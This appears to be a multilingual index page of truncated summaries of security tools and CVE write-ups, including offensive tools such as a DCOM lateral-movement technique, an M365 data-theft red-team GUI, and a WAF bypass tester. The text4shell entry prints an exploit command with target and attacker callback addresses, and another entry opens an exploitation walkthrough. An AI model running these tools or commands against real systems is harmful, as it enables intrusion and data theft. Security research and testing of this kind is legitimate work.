dnsglobe

dnsglobe 터미널용 글로벌 DNS 전파 확인 도구 — 전 세계 34개 공용 DNS 리졸버를 병렬로 질의하고, 응답을 비교하며, 세계 지도에 레코드의 전파 상황을 표시하는 Rust TUI입니다. dnschecker.org / whatsmydns.net을 떠올리면 되지만, 터미널에서 동작하며 watch 모드가 있습니다: 확인을 시작하면 레코드가 모든 곳에 전파될 때까지 다시 폴링합니다. 리졸버는 글로벌 애니캐스트 네트워크Google, Cloudflare, Quad9, 북미, 유럽, 러시아, 중동, 동아시아, 그리고 남반구...

beelzebub

Beelzebub デセプションランタイムフレームワーク Beelzebub は、SSH、HTTP、TCP、TELNET、MCP プロトコルにわたって、適応型で LLM を活用したデコイサービスを展開するオープンソースのデセプションランタイムです。受動的なハニーポットを超え、攻撃者と現実的な対話を積極的に行い、高精度な脅威インテリジェンスを収集し、AI エージェントに対するプロンプトインジェクション攻撃を検出します。 目次 Beelzebub 目次 主な機能 LLM デセプションデモ クイックスタート インストーラー ローカル Go Docker Helm Kubernetes の使用...

river

River は、オンライン機械学習のための Python ライブラリです。ストリーミングデータに対する機械学習を、最もユーザーフレンドリーに行えるライブラリを目指しています。River は、creme と scikit-multiflow の合併により生まれました。 ⚡️ クイックスタート 簡単な例として、ロジスティック回帰を訓練してウェブサイトフィッシングデータセットを分類してみましょう。以下はデータセットの最初の観測値です。 root@kitploit: from pprint import pprint from river import datasets dataset =...

DCOMIllusionist

🎩✨🪄 DCOMIllusionist Windows 파일리스 측면 이동 기술. 소개 • 빌드 • 사용법 • 기술적 세부 사항 • 감사의 말 소개 이 도구는 관리자 권한이 있는 경우 Windows 머신에서 원격 코드 실행을 가능하게 합니다. DCOM과 .NET DCOM 서버의 동작수신 객체를 자동으로 역직렬화하는을 활용합니다. 이를 통해 디스크에 쓰지 않고도 임의 명령을 실행하거나 DLL을 로드할 수 있습니다. 원래 James Forshaw가 권한 상승 기술로 발견한 이 방법은 특정 레지스트리 키를 원격으로 수정하여 측면 이동에...

OSINT-Cheat-sheet

OSINT 치트 시트 - OSINT 도구 목록 OSINT 도구, OSINT 팁, 데이터셋, Maltego 변환 및 기타 목록을 포함합니다. 사용할 수 있는 무료 및 유료 도구가 있으며 소유자는 책임을 지지 않습니다본인의 위험을 감수하십시오. 오직 지식 또는 교육 목적으로만 사용하세요. 일부 리소스를 더 이상 사용할 수 없거나 오류가 포함되어 있다면 사과드립니다. 소유자가 이러한 리소스의 상태를 정기적으로 확인하지 않기 때문입니다. 새로운 정보가 있으면 소유자가 해당 카테고리와 함께 이 저장소에 추가할 것입니다. 기술과 인텔리전...

mitaka

Mitaka Mitaka는 OSINT오픈소스 인텔리전스 검색 및 스캔을 더 쉽게 만들어 주는 브라우저 확장 프로그램입니다. 주요 기능: 리팽징refanging을 통한 자동 IoC손상 지표 선택. 예: example.com → example.com, testatexample.com → [email protected], hxxp://example.com → http://example.com 등 65개 이상의 서비스를 지원합니다. 설치 기능 지원되는 IoC손상 지표 지원되는 검색 엔진 지원되는 스캔 엔진 사용 방법...

dnsmonster

dnsmonster를 위한 관리형 SaaS 솔루션을 탐색 중입니다! 피드백과 요구 사항을 공유하여 패시브 DNS 모니터링의 미래를 함께 만들어 주세요: 간단한 설문 조사 참여 목차 Dnsmonster 주요 기능 설치 Linux 컨테이너 수동 빌드 정적 빌드 Windows FreeBSD 및 MacOS 아키텍처 Docker를 사용한 올인원 설치 올인원 데모 엔터프라이즈 배포 설정 명령줄 옵션 환경 변수 설정 파일 보존 정책은 무엇인가요? 샘플링 및 스킵 전처리 샘플링 도메인 스킵 도메인 허용 Clickhouse SELECT 쿼리의...

dns-rebinding-tool

@tavisio에서 영감을 받음 이 프로젝트는 DNS 리바인딩 공격을 더 테스트하기 위한 올인원 툴킷이 되도록 고안되었으며, 이러한 유형의 공격에 대한 저의 이해를 위한 것입니다. 이 툴킷은 A 쿼리에만 응답하는 웹 서버와 의사 DNS 서버로 구성됩니다. 웹 서버의 루트 인덱스는 기본 웹 GUI를 통해 공격을 구성하고 실행할 수 있게 해줍니다. dnsrebindtool.43z.one을 참조하십시오. 웹 서버를 호스팅하기 위한 기본 nginx 구성 root@kitploit: server listen 80; servername...

M365Pwned

M365Pwned 用于通过 Microsoft Graph API 进行 Microsoft 365 攻击的红队工具。 两个 WinForms GUI 工具，用于使用应用程序级 OAuth 令牌枚举、搜索和从 M365 环境中窃取数据 — 无需用户交互。 工具| 目标| 功能 ---|---|--- MailPwned-GUI.ps1| Exchange Online / Outlook| 浏览邮箱、搜索邮件、下载附件、发送冒充邮件 SharePwned-GUI.ps1| SharePoint / OneDrive| 浏览站点和驱动器、搜索文件、预览和下载文档 ⚠️ 免责声明...

SecurityClaw

SecurityClaw — 자율 SOC 에이전트 프레임워크 OpenSearch/Elasticsearch 데이터를 모니터링하고, RAG 기반 행동 메모리를 구축하며, LLM을 사용하여 실시간 이상 징후를 검증하는 모듈식 스킬 기반 자율 보안 운영 센터SOC 에이전트입니다. 특징 스킬 모듈성 — logic.py Python + instruction.md LLM 지침이 포함된 격리된 폴더로 구성된 기능 하트비트 루프 — Cron 유사 스케줄러: 1분 단위 이상 감시자, 6시간 단위 메모리 구축 공급자 무관 — 구성을 통해...

waf-bypass

WAF Bypass Tool WAF Bypass Tool 是一个开源工具，用于使用预定义和可自定义的载荷分析任何 WAF 的误报和漏报安全性。在攻击者之前检查您的 WAF。WAF Bypass Tool 由 Nemesida WAF 团队在社区参与下开发。 请勿进行任何非法行为 禁止用于非法和不道德的目的。不要违法。我们对使用本软件可能产生的风险不承担任何责任。 如何运行 使用 Docker 运行 最新版本的 waf-bypass 始终可通过 Docker Hub 获取。可通过以下命令轻松拉取： root@kitploit: docker pull...

xtrace-sdk

암호화된 벡터 데이터베이스. 데이터가 평문으로 머신을 떠나지 않습니다. 문서 | X | LinkedIn AI 메모리 관리 → mem.xtrace.ai XTrace란? 현재 시장에 나와 있는 모든 벡터 데이터베이스는 데이터를 평문으로 제3자에게 넘겨야 합니다. XTrace는 그렇지 않습니다. 문서와 임베딩 벡터는 전송되기 전에 사용자 머신에서 암호화됩니다. 서버는 암호문을 저장하고 검색합니다 — 평문을 보지 않고 최근접 이웃 결과를 계산합니다. 검색 중에도 데이터는 사용자의 것입니다. SDK는 두 가지 모듈로 구성됩니다: x-v...

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template CVE-2024-25600 に関する Nuclei テンプレートと PoC の情報 説明 📝 WordPress 用の Bricks テーマは、バージョン 1.9.6 までのすべてのバージョンにおいてリモートコード実行の脆弱性があります。これにより、認証されていない攻撃者がサーバー上でコードを実行できる可能性があります。 このテンプレート 🛠️ は、nuclei を使用して WordPress 用 Bricks Builder プラグインに見つかった CVE-2024-25600 の脆弱性 🕳️...

riskootext4shell

riskootext4shell text4shell script for text coomons =1.10 CVE-2022-33980 Apache Commons Text 라이브러리는 Java JDK의 기본 기능에 대한 대체 라이브러리입니다. Apache Commons 1.10.0 미만 버전 CVE-2022-33980와 유사 root@kitploit: python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22 완화 조치 주요...

hermes-decomp

React Native의 기반 JS 엔진인 Hermes 바이트코드.hbc용 Rust 디컴파일러입니다. HBC 4099 를 지원합니다. 설치 사전 빌드된 바이너리Linux / macOS / Windows는 Releases 또는 Actions에서 받을 수 있습니다: 에셋 접미사| 플랫폼 ---|--- linux-x8664 / linux-arm64| Linux macos-arm64 / macos-x8664| macOS windows-x8664| Windows 아카이브에는 hermes-decomp와 hermes-mcp가 포함됩니다...

sopa

sopa Golangで書かれたADWSの実用的なクライアント Sopaは、ADWSプロトコルスタック（MS-NNS + MC-NMF + SOAP）を実装し、以下のコマンドライン機能を提供します： オブジェクトの検索と取得 query：WS-EnumerationのEnumerate + Pullループを使用したLDAPフィルタ検索を実行し、属性の射影、スコープ制御（Base/OneLevel/Subtree）、ページネーションをサポート get：WS-TransferのGetを使用してDNで単一のオブジェクトを取得 オブジェクトのライフサイクル...

CVE-2021-26903

CVE-2021-26903 ISIDA RETRIEVER v5.2" 반사형 XSS 제안된 설명 : "ISIDA RETRIEVER v5.2" 반사형 XSS. 취약한 기능 : ISIDA RETRIEVER 플랫폼은 반사형 XSS에 취약합니다. 취약한 매개변수 : query'text' 발견자 : Alexander Semenenko...

CVE-2024-46507

이 스크립트는 Ubuntu Server 20.04 LTS에서 테스트 및 빌드되었으며, Kali Linux가 익스플로잇 및 워크스루에 사용되었습니다. 이 워크스루는 CVE-2024-46507 명령어 삽입 및 CVE-2024-46508 인증 우회 취약점이 포함된 취약한 서버를 익스플로잇하는 방법을 안내합니다. 초기 정찰 먼저 대상 IP 주소를 변수로 내보내겠습니다. 실제 대상 IP로 바꾸십시오: root@kitploit: export TARGET="192.168.65.129" 포트 스캐닝 대상에서 열린 서비스를 식별하는 것부터...

CVE-2025-28062

CVE-2025-28062 — ERPNext 14.82.1, 14.74.3의 CSRF 취약점을 통한 계정 탈취 📌 요약 ERPNext 14.82.1 및 14.74.3 에서 사이트 간 요청 위조CSRF 취약점이 발견되었으며, 공격자가 다음과 같은 무단 작업을 수행할 수 있습니다: 사용자 열거 계정 탈취비밀번호 재설정 임의 사용자 삭제 권한 상승역할 추가 이 취약점은 중요한 관리 API 엔드포인트에 CSRF 보호가 없기 때문에 발생합니다. 인증된 관리자가 악성 웹사이트를 방문하면 동의 없이 이러한 작업을 수행하도록 세션이 악용됩니...

vscode-frida

VSCode用Fridaワークベンチ リポジトリ | Issues | インストール これはコミュニティ貢献プロジェクトであり、公式のFridaチームとは関係ありません。Fridaスクリプティング体験を向上させるためのVisual Studio Code用オープンソース拡張機能として、@CodeColoristによって開発・保守されています。 中文说明 前提条件 Python = 3.7 frida-tools Pythonパッケージ オプションの依存関係 libimobiledevice inetcatコマンドでSSHシェルを起動するため Windows版iTunes iOSのUSB接...